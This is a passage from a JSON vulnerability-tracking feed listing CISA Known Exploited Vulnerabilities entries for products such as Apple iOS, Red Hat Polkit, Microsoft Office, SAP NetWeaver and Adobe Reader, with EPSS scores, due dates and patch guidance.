instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16742,"percentile":0.97012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30533&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30533","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30533 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30533&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30533, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30983","cveId":"CVE-2021-30983","aliases":[],"kind":"vulnerability","title":"Apple iOS and iPadOS Buffer Overflow Vulnerability","summary":"Apple iOS and iPadOS contain a buffer overflow vulnerability that could allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and iPadOS","stacks":["Apple iOS and iPadOS","Apple","iOS and iPadOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02923,"percentile":0.86952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30983&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30983","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30983 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30983&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30983, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-4034","cveId":"CVE-2021-4034","aliases":[],"kind":"vulnerability","title":"Red Hat Polkit Out-of-Bounds Read and Write Vulnerability","summary":"The Red Hat polkit pkexec utility contains an out-of-bounds read and write vulnerability that allows for privilege escalation with administrative rights.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Red Hat","product":"Polkit","stacks":["Red Hat Enterprise Linux","Red Hat","Polkit"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94921,"percentile":0.99859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-4034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-4034","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-4034 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-4034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-4034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-29499","cveId":"CVE-2022-29499","aliases":[],"kind":"vulnerability","title":"Mitel MiVoice Connect Data Validation Vulnerability","summary":"The Service Appliance component in Mitel MiVoice Connect allows remote code execution due to incorrect data validation.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"MiVoice Connect","stacks":["Mitel","MiVoice Connect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55242,"percentile":0.99023,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-29499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-29499","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-29499 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-29499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-29499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-30190","cveId":"CVE-2022-30190","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run code with the privileges of the calling application.","detail":"CISA added this entry on 2022-06-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-14","dueAt":"2022-07-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99163,"percentile":0.99933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-30190&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-30190","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-30190 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-30190&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-30190, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-2386","cveId":"CVE-2016-2386","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver SQL Injection Vulnerability","summary":"SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.","detail":"CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-09","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-09","dueAt":"2022-06-30","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.71522,"percentile":0.99412,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-2386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-2386","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-2386 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-2386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-2386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-2388","cveId":"CVE-2016-2388","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Information Disclosure Vulnerability","summary":"The Universal Worklist Configuration in SAP NetWeaver AS JAVA 7.4 allows remote attackers to obtain sensitive user information via a crafted HTTP request.","detail":"CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-09","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-09","dueAt":"2022-06-30","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.52206,"percentile":0.98951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-2388&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-2388","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-2388 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-2388&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-2388, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38163","cveId":"CVE-2021-38163","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Unrestricted File Upload Vulnerability","summary":"SAP NetWeaver contains a vulnerability that allows unrestricted file upload.","detail":"CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-09","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-09","dueAt":"2022-06-30","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.36898,"percentile":0.98499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38163","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38163 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2006-2492","cveId":"CVE-2006-2492","aliases":[],"kind":"vulnerability","title":"Microsoft Word Malformed Object Pointer Vulnerability","summary":"Microsoft Word and Microsoft Works Suites contain a malformed object pointer which allows attackers to execute code.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Word","stacks":["Microsoft Office","Microsoft","Word"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48107,"percentile":0.98849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2006-2492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2006-2492","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2006-2492 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2006-2492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2006-2492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2007-5659","cveId":"CVE-2007-5659","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Buffer Overflow Vulnerability","summary":"Adobe Acrobat and Reader contain a buffer overflow vulnerability that allows remote attackers to execute code via a PDF file with long arguments to unspecified JavaScript methods.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87423,"percentile":0.99754,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2007-5659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2007-5659","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2007-5659 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2007-5659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2007-5659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2008-0655","cveId":"CVE-2008-0655","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Unspecified Vulnerability","summary":"Adobe Acrobat and Reader contains an unespecified vulnerability described as a design flaw which could allow a specially crafted file to be printed silently an arbitrary number of times.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37871,"percentile":0.98537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2008-0655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2008-0655","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2008-0655 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2008-0655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2008-0655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-0557","cveId":"CVE-2009-0557","aliases":[],"kind":"vulnerability","title":"Microsoft Office Object Record Corruption Vulnerability","summary":"Microsoft Office contains an object record corruption vulnerability that allows remote attackers to execute code via a crafted Excel file with a malformed record object.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.52845,"percentile":0.98964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-0557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-0557","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-0557 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-0557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-0557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-0563","cveId":"CVE-2009-0563","aliases":[],"kind":"vulnerability","title":"Microsoft Office Buffer Overflow Vulnerability","summary":"Microsoft Office contains a buffer overflow vulnerability that allows remote attackers to execute code via a Word document with a crafted tag containing an invalid length field.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59634,"percentile":0.9912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-0563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-0563","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-0563 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-0563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-0563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-1862","cveId":"CVE-2009-1862","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader, Flash Player Unspecified Vulnerability","summary":"Adobe Acrobat and Reader and Adobe Flash Player allows remote attackers to execute code or cause denial-of-service (DoS).","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"For Adobe Acrobat and Reader, apply updates per vendor instructions. For Adobe Flash Player, the impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader, Flash Player","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader, Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"For Adobe Acrobat and Reader, apply updates per vendor instructions. For Adobe Flash Player, the impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21198,"percentile":0.97569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-1862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-1862","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-1862 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-1862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-1862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-3953","cveId":"CVE-2009-3953","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Universal 3D Remote Code Execution Vulnerability","summary":"Adobe Acrobat and Reader contains an array boundary issue in Universal 3D (U3D) support that could lead to remote code execution.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-08","dueAt":"2022-06-22","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83219,"percentile":0.99675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-3953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-3953","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-3953 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-3953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-3953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-4324","cveId":"CVE-2009-4324","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in Adobe Acrobat and Reader allows remote attackers to execute code via a crafted PDF file.","detail":"CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability 